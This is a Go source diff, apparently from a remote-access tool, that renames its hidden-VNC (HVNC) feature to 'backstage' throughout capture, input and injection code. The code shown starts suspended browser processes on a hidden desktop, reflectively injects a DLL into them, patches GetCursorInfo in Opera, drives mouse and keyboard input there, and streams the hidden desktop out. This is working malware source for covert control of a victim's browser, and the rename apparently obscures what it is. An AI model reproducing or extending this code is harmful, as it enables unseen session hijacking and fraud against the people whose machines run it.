if fn, ok := backstageDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
|
||||
fn(true, gpuPID, fmt.Sprintf("DXGI capture active (GPU PID %d)", gpuPID))
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("hvnc inject: gave up finding GPU child for browser PID %d", browserPID)
|
||||
if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
|
||||
log.Printf("backstage inject: gave up finding GPU child for browser PID %d", browserPID)
|
||||
if fn, ok := backstageDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
|
||||
fn(false, 0, "DXGI injection failed: GPU process not found")
|
||||
}
|
||||
}
|
||||
@@ -1094,7 +1094,7 @@ func terminateProcess(hProcess uintptr) {
|
||||
// createDLLSharedMemory creates a named page-file-backed section containing
|
||||
// the raw DLL bytes. Returns the mapping handle and section name.
|
||||
func createDLLSharedMemory(dllBytes []byte) (handle uintptr, name string, err error) {
|
||||
name = fmt.Sprintf("Local\\hvnc_rdi_%d", time.Now().UnixNano())
|
||||
name = fmt.Sprintf("Local\\backstage_rdi_%d", time.Now().UnixNano())
|
||||
namePtr, err := syscall.UTF16PtrFromString(name)
|
||||
if err != nil {
|
||||
return 0, "", err
|
||||
@@ -1131,7 +1131,7 @@ func createDLLSharedMemory(dllBytes []byte) (handle uintptr, name string, err er
|
||||
}
|
||||
|
||||
func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName string, dllSize int, display int) (hProcess, hThread uintptr, pid uint32, err error) {
|
||||
desktopNamePtr, err := syscall.UTF16PtrFromString(hvncDesktopName)
|
||||
desktopNamePtr, err := syscall.UTF16PtrFromString(backstageDesktopName)
|
||||
if err != nil {
|
||||
return 0, 0, 0, fmt.Errorf("failed to convert desktop name: %v", err)
|
||||
}
|
||||
@@ -1229,7 +1229,7 @@ func buildEnvironmentBlock(searchPath, replacePath, shmName string, dllSize int)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
log.Printf("hvnc inject env: nativeChars=%d finalChars=%d searchRunes=%d replaceRunes=%d hasDllSection=%v dllSize=%d",
|
||||
log.Printf("backstage inject env: nativeChars=%d finalChars=%d searchRunes=%d replaceRunes=%d hasDllSection=%v dllSize=%d",
|
||||
blockLen, len(block), len([]rune(searchPath)), len([]rune(replacePath)), shmName != "", dllSize)
|
||||
return block, nil
|
||||
}
|
||||
@@ -1312,7 +1312,7 @@ func reflectiveInject(hProcess uintptr, dllBytes []byte) error {
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to find ReflectiveLoader: %v", err)
|
||||
}
|
||||
log.Printf("hvnc inject: ReflectiveLoader at offset 0x%x", loaderOffset)
|
||||
log.Printf("backstage inject: ReflectiveLoader at offset 0x%x", loaderOffset)
|
||||
|
||||
remoteBase, _, _ := procVirtualAllocEx.Call(
|
||||
hProcess,
|
||||
@@ -1356,9 +1356,9 @@ func reflectiveInject(hProcess uintptr, dllBytes []byte) error {
|
||||
waitRet, _, waitErr := procWaitForSingleObject.Call(hThread, INFINITE_WAIT)
|
||||
var exitCode uint32
|
||||
if ret, _, callErr := procGetExitCodeThread.Call(hThread, uintptr(unsafe.Pointer(&exitCode))); ret != 0 {
|
||||
log.Printf("hvnc inject: remote loader thread finished wait=0x%x exit=%s", waitRet, describeExitCode(exitCode))
|
||||
log.Printf("backstage inject: remote loader thread finished wait=0x%x exit=%s", waitRet, describeExitCode(exitCode))
|
||||
} else {
|
||||
log.Printf("hvnc inject: GetExitCodeThread failed after wait=0x%x: %v", waitRet, callErr)
|
||||
log.Printf("backstage inject: GetExitCodeThread failed after wait=0x%x: %v", waitRet, callErr)
|
||||
}
|
||||
procCloseHandle.Call(hThread)
|
||||
|
||||
|
||||
@@ -71,7 +71,7 @@ func patchGetCursorInfo(pid uint32) error {
|
||||
}
|
||||
}
|
||||
if !ok {
|
||||
log.Printf("hvnc patch: verification mismatch for PID %d", pid)
|
||||
log.Printf("backstage patch: verification mismatch for PID %d", pid)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -153,11 +153,11 @@ func patchOperaAsync(pid uint32, maxRetries int, delay time.Duration) {
|
||||
time.Sleep(delay)
|
||||
}
|
||||
if err := patchGetCursorInfo(pid); err != nil {
|
||||
log.Printf("hvnc patch: attempt %d/%d for PID %d failed: %v", attempt+1, maxRetries, pid, err)
|
||||
log.Printf("backstage patch: attempt %d/%d for PID %d failed: %v", attempt+1, maxRetries, pid, err)
|
||||
continue
|
||||
}
|
||||
log.Printf("hvnc patch: successfully patched GetCursorInfo in PID %d", pid)
|
||||
log.Printf("backstage patch: successfully patched GetCursorInfo in PID %d", pid)
|
||||
return
|
||||
}
|
||||
log.Printf("hvnc patch: all %d attempts failed for PID %d", maxRetries, pid)
|
||||
log.Printf("backstage patch: all %d attempts failed for PID %d", maxRetries, pid)
|
||||
}
|
||||
|
||||
@@ -7,67 +7,67 @@ import (
|
||||
"image"
|
||||
)
|
||||
|
||||
func InitializeHVNCDesktop() error {
|
||||
return errors.New("HVNC not supported on this platform")
|
||||
func InitializebackstageDesktop() error {
|
||||
return errors.New("backstage not supported on this platform")
|
||||
}
|
||||
|
||||
func CleanupHVNCDesktop() {}
|
||||
func CleanupbackstageDesktop() {}
|
||||
|
||||
func SetHVNCCursorCapture(enabled bool) {}
|
||||
func SetbackstageCursorCapture(enabled bool) {}
|
||||
|
||||
func SetHVNCDXGIEnabled(enabled bool) {}
|
||||
func SetbackstageDXGIEnabled(enabled bool) {}
|
||||
|
||||
func GetHVNCDXGIEnabled() bool { return false }
|
||||
func GetbackstageDXGIEnabled() bool { return false }
|
||||
|
||||
func SetHVNCUIAEnabled(enabled bool) {}
|
||||
func SetbackstageUIAEnabled(enabled bool) {}
|
||||
|
||||
func GetHVNCUIAEnabled() bool { return false }
|
||||
func GetbackstageUIAEnabled() bool { return false }
|
||||
|
||||
func BackstageCaptureDisplay(display int) (*image.RGBA, error) {
|
||||
return nil, errors.New("HVNC not supported on this platform")
|
||||
return nil, errors.New("backstage not supported on this platform")
|
||||
}
|
||||
|
||||
func HVNCMonitorCount() int {
|
||||
func BackstageMonitorCount() int {
|
||||
return 0
|
||||
}
|
||||
|
||||
func StartHVNCProcess(filePath string, operaPatch bool, display int) error {
|
||||
return errors.New("HVNC not supported on this platform")
|
||||
func StartbackstageProcess(filePath string, operaPatch bool, display int) error {
|
||||
return errors.New("backstage not supported on this platform")
|
||||
}
|
||||
|
||||
func HVNCInputMouseMove(display int, x, y int32) error {
|
||||
return errors.New("HVNC not supported on this platform")
|
||||
func BackstageInputMouseMove(display int, x, y int32) error {
|
||||
return errors.New("backstage not supported on this platform")
|
||||
}
|
||||
|
||||
func HVNCInputMouseDown(button int) error {
|
||||
return errors.New("HVNC not supported on this platform")
|
||||
func BackstageInputMouseDown(button int) error {
|
||||
return errors.New("backstage not supported on this platform")
|
||||
}
|
||||
|
||||
func HVNCInputMouseUp(button int) error {
|
||||
return errors.New("HVNC not supported on this platform")
|
||||
func BackstageInputMouseUp(button int) error {
|
||||
return errors.New("backstage not supported on this platform")
|
||||
}
|
||||
|
||||
func HVNCInputKeyDown(vk uint16) error {
|
||||
return errors.New("HVNC not supported on this platform")
|
||||
func BackstageInputKeyDown(vk uint16) error {
|
||||
return errors.New("backstage not supported on this platform")
|
||||
}
|
||||
|
||||
func HVNCInputKeyUp(vk uint16) error {
|
||||
return errors.New("HVNC not supported on this platform")
|
||||
func BackstageInputKeyUp(vk uint16) error {
|
||||
return errors.New("backstage not supported on this platform")
|
||||
}
|
||||
|
||||
func HVNCInputMouseWheel(delta int32) error {
|
||||
return errors.New("HVNC not supported on this platform")
|
||||
func BackstageInputMouseWheel(delta int32) error {
|
||||
return errors.New("backstage not supported on this platform")
|
||||
}
|
||||
|
||||
func HVNCAutoStartExplorer() error {
|
||||
return errors.New("HVNC not supported on this platform")
|
||||
func BackstageAutoStartExplorer() error {
|
||||
return errors.New("backstage not supported on this platform")
|
||||
}
|
||||
|
||||
func HVNCKillAll() error {
|
||||
return errors.New("HVNC not supported on this platform")
|
||||
func BackstageKillAll() error {
|
||||
return errors.New("backstage not supported on this platform")
|
||||
}
|
||||
|
||||
type HVNCWindowInfo struct {
|
||||
type BackstageWindowInfo struct {
|
||||
HWND uintptr
|
||||
Title string
|
||||
X int
|
||||
@@ -80,7 +80,7 @@ type HVNCWindowInfo struct {
|
||||
Visible bool
|
||||
}
|
||||
|
||||
type HVNCMonitorInfo struct {
|
||||
type BackstageMonitorInfo struct {
|
||||
Index int
|
||||
Name string
|
||||
X int
|
||||
@@ -90,6 +90,6 @@ type HVNCMonitorInfo struct {
|
||||
Primary bool
|
||||
}
|
||||
|
||||
func HVNCEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) {
|
||||
func BackstageEnumWindows() ([]BackstageWindowInfo, []BackstageMonitorInfo) {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
@@ -825,7 +825,7 @@ func uiaInit() error {
|
||||
return
|
||||
}
|
||||
uiaTreeWalker = uiaSingleton.GetControlViewWalker()
|
||||
log.Printf("hvnc uia: IUIAutomation initialized successfully (walker=%v)", uiaTreeWalker != nil)
|
||||
log.Printf("backstage uia: IUIAutomation initialized successfully (walker=%v)", uiaTreeWalker != nil)
|
||||
})
|
||||
return uiaInitErr
|
||||
}
|
||||
@@ -860,7 +860,7 @@ func uiaEnsureWorker() {
|
||||
uiaWorkerCh = make(chan func(), 64)
|
||||
uiaWorkerDone = make(chan struct{})
|
||||
go func() {
|
||||
defer recoverAndLog("hvnc uia worker", nil)
|
||||
defer recoverAndLog("backstage uia worker", nil)
|
||||
uiaWorkerLoop()
|
||||
}()
|
||||
})
|
||||
@@ -871,23 +871,23 @@ func uiaWorkerLoop() {
|
||||
defer runtime.UnlockOSThread()
|
||||
defer close(uiaWorkerDone)
|
||||
|
||||
hvncDesktopMu.Lock()
|
||||
dh := hvncDesktopHandle
|
||||
hvncDesktopMu.Unlock()
|
||||
backstageDesktopMu.Lock()
|
||||
dh := backstageDesktopHandle
|
||||
backstageDesktopMu.Unlock()
|
||||
if dh != 0 {
|
||||
r, _, err := procSetThreadDesktop.Call(dh)
|
||||
if r == 0 {
|
||||
log.Printf("hvnc uia: worker SetThreadDesktop failed: %v", err)
|
||||
log.Printf("backstage uia: worker SetThreadDesktop failed: %v", err)
|
||||
for range uiaWorkerCh {
|
||||
}
|
||||
return
|
||||
}
|
||||
} else {
|
||||
log.Printf("hvnc uia: warning — worker started before HVNC desktop exists")
|
||||
log.Printf("backstage uia: warning — worker started before backstage desktop exists")
|
||||
}
|
||||
|
||||
if err := uiaInit(); err != nil {
|
||||
log.Printf("hvnc uia: worker init failed: %v", err)
|
||||
log.Printf("backstage uia: worker init failed: %v", err)
|
||||
for range uiaWorkerCh {
|
||||
}
|
||||
return
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -504,9 +504,9 @@ var (
|
||||
prevMu sync.Mutex
|
||||
prevFrame *prevImage
|
||||
|
||||
hvncPrevMu sync.Mutex
|
||||
hvncPrevFrame *prevImage
|
||||
hvncLastKeyframe atomic.Int64
|
||||
backstagePrevMu sync.Mutex
|
||||
backstagePrevFrame *prevImage
|
||||
backstageLastKeyframe atomic.Int64
|
||||
)
|
||||
|
||||
type prevImage struct {
|
||||
@@ -616,12 +616,12 @@ func ResetPrev() {
|
||||
resetH264Encoder()
|
||||
}
|
||||
|
||||
func ResetPrevHVNC() {
|
||||
hvncPrevMu.Lock()
|
||||
hvncPrevFrame = nil
|
||||
hvncPrevMu.Unlock()
|
||||
hvncLastKeyframe.Store(0)
|
||||
resetH264EncoderHVNC()
|
||||
func ResetPrevbackstage() {
|
||||
backstagePrevMu.Lock()
|
||||
backstagePrevFrame = nil
|
||||
backstagePrevMu.Unlock()
|
||||
backstageLastKeyframe.Store(0)
|
||||
resetH264Encoderbackstage()
|
||||
}
|
||||
|
||||
func RequestDesktopFullFrame() {
|
||||
@@ -642,12 +642,12 @@ func useDesktopSoftwareH264() bool {
|
||||
return desktopSoftwareH264.Load()
|
||||
}
|
||||
|
||||
func RequestHVNCFullFrame() {
|
||||
hvncPrevMu.Lock()
|
||||
hvncPrevFrame = nil
|
||||
hvncPrevMu.Unlock()
|
||||
hvncLastKeyframe.Store(0)
|
||||
resetH264EncoderHVNC()
|
||||
func RequestbackstageFullFrame() {
|
||||
backstagePrevMu.Lock()
|
||||
backstagePrevFrame = nil
|
||||
backstagePrevMu.Unlock()
|
||||
backstageLastKeyframe.Store(0)
|
||||
resetH264Encoderbackstage()
|
||||
}
|
||||
|
||||
func jpegQuality() int {
|
||||
@@ -731,8 +731,8 @@ const (
|
||||
cursorROIMargin = 32
|
||||
windowROIMargin = 12
|
||||
|
||||
hvncSamplingRate = 1
|
||||
hvncChangeThresh = 1
|
||||
backstageSamplingRate = 1
|
||||
backstageChangeThresh = 1
|
||||
)
|
||||
|
||||
func buildFrame(img *image.RGBA, display int, quality int) (wire.Frame, time.Duration, error) {
|
||||
@@ -841,7 +841,7 @@ func buildFrame(img *image.RGBA, display int, quality int) (wire.Frame, time.Dur
|
||||
return wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: format}, Data: blockPayload}, encDur, nil
|
||||
}
|
||||
|
||||
func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time.Duration, error) {
|
||||
func buildFramebackstage(img *image.RGBA, display int, quality int) (wire.Frame, time.Duration, error) {
|
||||
encStart := time.Now()
|
||||
width := img.Bounds().Dx()
|
||||
height := img.Bounds().Dy()
|
||||
@@ -850,49 +850,49 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time
|
||||
now := time.Now()
|
||||
if codec == "h264" {
|
||||
if width%2 != 0 || height%2 != 0 {
|
||||
log.Printf("hvnc capture: h264 skipped for odd dimensions (%dx%d), falling back to jpeg", width, height)
|
||||
log.Printf("backstage capture: h264 skipped for odd dimensions (%dx%d), falling back to jpeg", width, height)
|
||||
codec = "jpeg"
|
||||
} else {
|
||||
if webrtcpub.ConsumeKeyframeRequest() {
|
||||
resetH264EncoderHVNC()
|
||||
resetH264Encoderbackstage()
|
||||
}
|
||||
h264Bytes, err := encodeH264FrameHVNC(img)
|
||||
h264Bytes, err := encodeH264Framebackstage(img)
|
||||
if err == nil && len(h264Bytes) > 0 {
|
||||
hvncLastKeyframe.Store(now.UnixNano())
|
||||
backstageLastKeyframe.Store(now.UnixNano())
|
||||
statFullFrames.Add(1)
|
||||
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "h264", HVNC: true}, Data: h264Bytes}
|
||||
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "h264", Backstage: true}, Data: h264Bytes}
|
||||
return frame, time.Since(encStart), nil
|
||||
}
|
||||
h264WarnOnce.Do(func() {
|
||||
detail := h264AvailabilityDetail()
|
||||
if detail != "" {
|
||||
log.Printf("hvnc capture: h264 encode unavailable, falling back to jpeg: %v (%s)", err, detail)
|
||||
log.Printf("backstage capture: h264 encode unavailable, falling back to jpeg: %v (%s)", err, detail)
|
||||
return
|
||||
}
|
||||
log.Printf("hvnc capture: h264 encode unavailable, falling back to jpeg: %v", err)
|
||||
log.Printf("backstage capture: h264 encode unavailable, falling back to jpeg: %v", err)
|
||||
})
|
||||
codec = "jpeg"
|
||||
}
|
||||
}
|
||||
|
||||
hvncPrevMu.Lock()
|
||||
pf := hvncPrevFrame
|
||||
hvncPrevMu.Unlock()
|
||||
backstagePrevMu.Lock()
|
||||
pf := backstagePrevFrame
|
||||
backstagePrevMu.Unlock()
|
||||
|
||||
if pf == nil || pf.w != width || pf.h != height || now.Sub(time.Unix(0, hvncLastKeyframe.Load())) > keyframeEvery {
|
||||
if pf == nil || pf.w != width || pf.h != height || now.Sub(time.Unix(0, backstageLastKeyframe.Load())) > keyframeEvery {
|
||||
jpegBytes, err := encodeJPEG(img, quality)
|
||||
hvncPrevMu.Lock()
|
||||
copyPrevHVNC(img)
|
||||
hvncPrevMu.Unlock()
|
||||
hvncLastKeyframe.Store(now.UnixNano())
|
||||
backstagePrevMu.Lock()
|
||||
copyPrevbackstage(img)
|
||||
backstagePrevMu.Unlock()
|
||||
backstageLastKeyframe.Store(now.UnixNano())
|
||||
statFullFrames.Add(1)
|
||||
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "jpeg", HVNC: true}, Data: jpegBytes}
|
||||
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "jpeg", Backstage: true}, Data: jpegBytes}
|
||||
return frame, time.Since(encStart), err
|
||||
}
|
||||
|
||||
// use strict block detection for HVNC otherwise half the time it just doesn't fucking update pictures
|
||||
// use strict block detection for backstage otherwise half the time it just doesn't fucking update pictures
|
||||
// because of how slow the capture shit is.
|
||||
blocks, blockPayload, encDur, err := encodeBlocksHVNC(img, pf, quality, codec, display)
|
||||
blocks, blockPayload, encDur, err := encodeBlocksbackstage(img, pf, quality, codec, display)
|
||||
if err != nil {
|
||||
return wire.Frame{}, encDur, err
|
||||
}
|
||||
@@ -901,7 +901,7 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time
|
||||
// Keepalive frames indicate no block-level changes, so avoid copying the
|
||||
// full RGBA buffer into prevFrame again.
|
||||
statKeepaliveFrames.Add(1)
|
||||
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "blocks", HVNC: true}, Data: blockPayload}
|
||||
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "blocks", Backstage: true}, Data: blockPayload}
|
||||
return frame, encDur, nil
|
||||
}
|
||||
|
||||
@@ -910,13 +910,13 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time
|
||||
|
||||
if changedRatio > maxBlockRatio {
|
||||
jpegBytes, err := encodeJPEG(img, quality)
|
||||
hvncPrevMu.Lock()
|
||||
copyPrevHVNC(img)
|
||||
hvncPrevMu.Unlock()
|
||||
hvncLastKeyframe.Store(now.UnixNano())
|
||||
backstagePrevMu.Lock()
|
||||
copyPrevbackstage(img)
|
||||
backstagePrevMu.Unlock()
|
||||
backstageLastKeyframe.Store(now.UnixNano())
|
||||
statBlockFallbacks.Add(1)
|
||||
statFullFrames.Add(1)
|
||||
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "jpeg", HVNC: true}, Data: jpegBytes}
|
||||
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "jpeg", Backstage: true}, Data: jpegBytes}
|
||||
return frame, time.Since(encStart), err
|
||||
}
|
||||
|
||||
@@ -926,7 +926,7 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time
|
||||
if codec == "raw" {
|
||||
format = "blocks_raw"
|
||||
}
|
||||
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: format, HVNC: true}, Data: blockPayload}
|
||||
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: format, Backstage: true}, Data: blockPayload}
|
||||
return frame, encDur, nil
|
||||
}
|
||||
|
||||
@@ -1001,7 +1001,7 @@ func encodeBlocks(img *image.RGBA, prev *prevImage, quality int, codec string, d
|
||||
|
||||
changed := blockChanged(img.Pix, prev.pix, stride, prevStride, x, y, ww, hh)
|
||||
if !changed && blockIntersectsROI(x, y, ww, hh, rois) {
|
||||
changed = blockChangedHVNC(img.Pix, prev.pix, stride, prevStride, x, y, ww, hh)
|
||||
changed = blockChangedbackstage(img.Pix, prev.pix, stride, prevStride, x, y, ww, hh)
|
||||
}
|
||||
if changed {
|
||||
changedGrid[by*blocksWide+bx] = true
|
||||
@@ -1276,12 +1276,12 @@ func sortRegionsByROI(regions []streamRegion, hints []roiHint) {
|
||||
})
|
||||
}
|
||||
|
||||
func blockChangedHVNC(cur, prev []byte, curStride, prevStride int, x, y, w, h int) bool {
|
||||
func blockChangedbackstage(cur, prev []byte, curStride, prevStride int, x, y, w, h int) bool {
|
||||
changedPixels := 0
|
||||
sampledPixels := 0
|
||||
|
||||
for row := 0; row < h; row += hvncSamplingRate {
|
||||
for col := 0; col < w; col += hvncSamplingRate {
|
||||
for row := 0; row < h; row += backstageSamplingRate {
|
||||
for col := 0; col < w; col += backstageSamplingRate {
|
||||
sampledPixels++
|
||||
ci := (y+row)*curStride + (x+col)*4
|
||||
pi := (y+row)*prevStride + (x+col)*4
|
||||
@@ -1304,7 +1304,7 @@ func blockChangedHVNC(cur, prev []byte, curStride, prevStride int, x, y, w, h in
|
||||
db = -db
|
||||
}
|
||||
|
||||
if dr > hvncChangeThresh || dg > hvncChangeThresh || db > hvncChangeThresh {
|
||||
if dr > backstageChangeThresh || dg > backstageChangeThresh || db > backstageChangeThresh {
|
||||
changedPixels++
|
||||
|
||||
if sampledPixels > 20 && changedPixels*100 > sampledPixels {
|
||||
@@ -1320,7 +1320,7 @@ func blockChangedHVNC(cur, prev []byte, curStride, prevStride int, x, y, w, h in
|
||||
return changedPixels*100 > sampledPixels
|
||||
}
|
||||
|
||||
func encodeBlocksHVNC(img *image.RGBA, prev *prevImage, quality int, codec string, display int) (int, []byte, time.Duration, error) {
|
||||
func encodeBlocksbackstage(img *image.RGBA, prev *prevImage, quality int, codec string, display int) (int, []byte, time.Duration, error) {
|
||||
width := img.Bounds().Dx()
|
||||
height := img.Bounds().Dy()
|
||||
stride := img.Stride
|
||||
@@ -1360,7 +1360,7 @@ func encodeBlocksHVNC(img *image.RGBA, prev *prevImage, quality int, codec strin
|
||||
hh = height - y
|
||||
}
|
||||
|
||||
if blockChangedHVNC(img.Pix, prev.pix, stride, prevStride, x, y, ww, hh) {
|
||||
if blockChangedbackstage(img.Pix, prev.pix, stride, prevStride, x, y, ww, hh) {
|
||||
changedGrid[by*blocksWide+bx] = true
|
||||
changedCount++
|
||||
}
|
||||
@@ -1513,19 +1513,19 @@ func copyPrev(img *image.RGBA) {
|
||||
}
|
||||
}
|
||||
|
||||
func copyPrevHVNC(img *image.RGBA) {
|
||||
func copyPrevbackstage(img *image.RGBA) {
|
||||
width := img.Bounds().Dx()
|
||||
height := img.Bounds().Dy()
|
||||
n := len(img.Pix)
|
||||
if hvncPrevFrame != nil && cap(hvncPrevFrame.pix) >= n {
|
||||
hvncPrevFrame.w = width
|
||||
hvncPrevFrame.h = height
|
||||
hvncPrevFrame.pix = hvncPrevFrame.pix[:n]
|
||||
copy(hvncPrevFrame.pix, img.Pix)
|
||||
if backstagePrevFrame != nil && cap(backstagePrevFrame.pix) >= n {
|
||||
backstagePrevFrame.w = width
|
||||
backstagePrevFrame.h = height
|
||||
backstagePrevFrame.pix = backstagePrevFrame.pix[:n]
|
||||
copy(backstagePrevFrame.pix, img.Pix)
|
||||
} else {
|
||||
buf := make([]byte, n)
|
||||
copy(buf, img.Pix)
|
||||
hvncPrevFrame = &prevImage{w: width, h: height, pix: buf}
|
||||
backstagePrevFrame = &prevImage{w: width, h: height, pix: buf}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1587,25 +1587,25 @@ func SetQualityAndCodec(quality int, codec string) {
|
||||
h264WarnOnce = sync.Once{}
|
||||
if s != "h264" {
|
||||
resetH264Encoder()
|
||||
resetH264EncoderHVNC()
|
||||
resetH264Encoderbackstage()
|
||||
}
|
||||
case "":
|
||||
|
||||
default:
|
||||
overrideCodec.Store("jpeg")
|
||||
resetH264Encoder()
|
||||
resetH264EncoderHVNC()
|
||||
resetH264Encoderbackstage()
|
||||
}
|
||||
}
|
||||
|
||||
func NowHVNC(ctx context.Context, env *rt.Env) error {
|
||||
func Nowbackstage(ctx context.Context, env *rt.Env) error {
|
||||
if env.Cfg.DisableCapture {
|
||||
return sendBlackFrameHVNC(ctx, env)
|
||||
return sendBlackFramebackstage(ctx, env)
|
||||
}
|
||||
if !supportsBackstageCapture() {
|
||||
return nil
|
||||
}
|
||||
return captureAndSendHVNC(ctx, env)
|
||||
return captureAndSendbackstage(ctx, env)
|
||||
}
|
||||
|
||||
func NowVirtual(ctx context.Context, env *rt.Env) error {
|
||||
@@ -1659,7 +1659,7 @@ func captureAndSendVirtual(ctx context.Context, env *rt.Env) error {
|
||||
}
|
||||
captureDur := time.Since(t0)
|
||||
|
||||
willSendViaWebRTC := blockCodec() == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC)
|
||||
willSendViaWebRTC := blockCodec() == "h264" && webrtcpub.IsActive(webrtcpub.Kindbackstage)
|
||||
var slotAcquired bool
|
||||
if !willSendViaWebRTC && !AcquireFrameSlot() {
|
||||
PutRGBA(img)
|
||||
@@ -1668,7 +1668,7 @@ func captureAndSendVirtual(ctx context.Context, env *rt.Env) error {
|
||||
slotAcquired = !willSendViaWebRTC
|
||||
|
||||
quality := jpegQuality()
|
||||
frame, encodeDur, err := buildFrameHVNC(img, 0, quality)
|
||||
frame, encodeDur, err := buildFramebackstage(img, 0, quality)
|
||||
PutRGBA(img)
|
||||
img = nil
|
||||
if err != nil {
|
||||
@@ -1691,12 +1691,12 @@ func captureAndSendVirtual(ctx context.Context, env *rt.Env) error {
|
||||
}
|
||||
return nil
|
||||
}
|
||||
if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC) {
|
||||
if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.Kindbackstage) {
|
||||
dur := time.Second / time.Duration(fps)
|
||||
if dur <= 0 {
|
||||
dur = 33 * time.Millisecond
|
||||
}
|
||||
if werr := webrtcpub.WriteH264(webrtcpub.KindHVNC, frame.Data, dur); werr != nil {
|
||||
if werr := webrtcpub.WriteH264(webrtcpub.Kindbackstage, frame.Data, dur); werr != nil {
|
||||
log.Printf("webrtc: write hidden h264 failed: %v", werr)
|
||||
}
|
||||
if slotAcquired {
|
||||
@@ -1737,12 +1737,12 @@ func virtualSendCompletedFrame(ctx context.Context, env *rt.Env, frame wire.Fram
|
||||
if ctx.Err() != nil {
|
||||
return nil
|
||||
}
|
||||
if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC) {
|
||||
if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.Kindbackstage) {
|
||||
dur := time.Second / time.Duration(fps)
|
||||
if dur <= 0 {
|
||||
dur = 33 * time.Millisecond
|
||||
}
|
||||
if werr := webrtcpub.WriteH264(webrtcpub.KindHVNC, frame.Data, dur); werr != nil {
|
||||
if werr := webrtcpub.WriteH264(webrtcpub.Kindbackstage, frame.Data, dur); werr != nil {
|
||||
log.Printf("webrtc: write hidden h264 failed: %v", werr)
|
||||
}
|
||||
return nil
|
||||
@@ -1769,7 +1769,7 @@ func sendBlackFrameVirtual(ctx context.Context, env *rt.Env) error {
|
||||
|
||||
img := image.NewRGBA(image.Rect(0, 0, 64, 64))
|
||||
quality := 60
|
||||
frame, _, err := buildFrameHVNC(img, 0, quality)
|
||||
frame, _, err := buildFramebackstage(img, 0, quality)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -1778,36 +1778,36 @@ func sendBlackFrameVirtual(ctx context.Context, env *rt.Env) error {
|
||||
}
|
||||
|
||||
func supportsBackstageCapture() bool {
|
||||
count := HVNCMonitorCount()
|
||||
count := BackstageMonitorCount()
|
||||
return count > 0
|
||||
}
|
||||
|
||||
func captureAndSendHVNC(ctx context.Context, env *rt.Env) error {
|
||||
func captureAndSendbackstage(ctx context.Context, env *rt.Env) error {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("hvnc capture: panic in captureAndSendHVNC: %v", r)
|
||||
log.Printf("backstage capture: panic in captureAndSendbackstage: %v", r)
|
||||
}
|
||||
}()
|
||||
|
||||
display := env.HVNCSelectedDisplay
|
||||
if display < 0 || display >= HVNCMonitorCount() {
|
||||
display := env.BackstageSelectedDisplay
|
||||
if display < 0 || display >= BackstageMonitorCount() {
|
||||
display = 0
|
||||
log.Printf("hvnc capture: requested display %d out of range, defaulting to 0", display)
|
||||
log.Printf("backstage capture: requested display %d out of range, defaulting to 0", display)
|
||||
}
|
||||
|
||||
t0 := time.Now()
|
||||
img, err := safeBackstageCaptureDisplay(display)
|
||||
if err != nil {
|
||||
log.Printf("hvnc capture: capture failed: %v (sending black frame)", err)
|
||||
return sendBlackFrameHVNC(ctx, env)
|
||||
log.Printf("backstage capture: capture failed: %v (sending black frame)", err)
|
||||
return sendBlackFramebackstage(ctx, env)
|
||||
}
|
||||
if img == nil {
|
||||
log.Printf("hvnc capture: capture returned nil image (sending black frame)")
|
||||
return sendBlackFrameHVNC(ctx, env)
|
||||
log.Printf("backstage capture: capture returned nil image (sending black frame)")
|
||||
return sendBlackFramebackstage(ctx, env)
|
||||
}
|
||||
captureDur := time.Since(t0)
|
||||
|
||||
willSendViaWebRTC := blockCodec() == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC)
|
||||
willSendViaWebRTC := blockCodec() == "h264" && webrtcpub.IsActive(webrtcpub.Kindbackstage)
|
||||
var slotAcquired bool
|
||||
if !willSendViaWebRTC && !AcquireFrameSlot() {
|
||||
PutRGBA(img)
|
||||
@@ -1816,7 +1816,7 @@ func captureAndSendHVNC(ctx context.Context, env *rt.Env) error {
|
||||
slotAcquired = !willSendViaWebRTC
|
||||
|
||||
quality := jpegQuality()
|
||||
frame, encodeDur, err := buildFrameHVNC(img, display, quality)
|
||||
frame, encodeDur, err := buildFramebackstage(img, display, quality)
|
||||
PutRGBA(img)
|
||||
img = nil
|
||||
if err != nil {
|
